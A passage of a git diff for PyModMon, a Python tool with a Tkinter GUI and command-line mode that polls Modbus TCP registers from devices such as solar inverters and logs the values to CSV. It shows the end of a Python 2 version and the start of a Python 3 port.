'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## 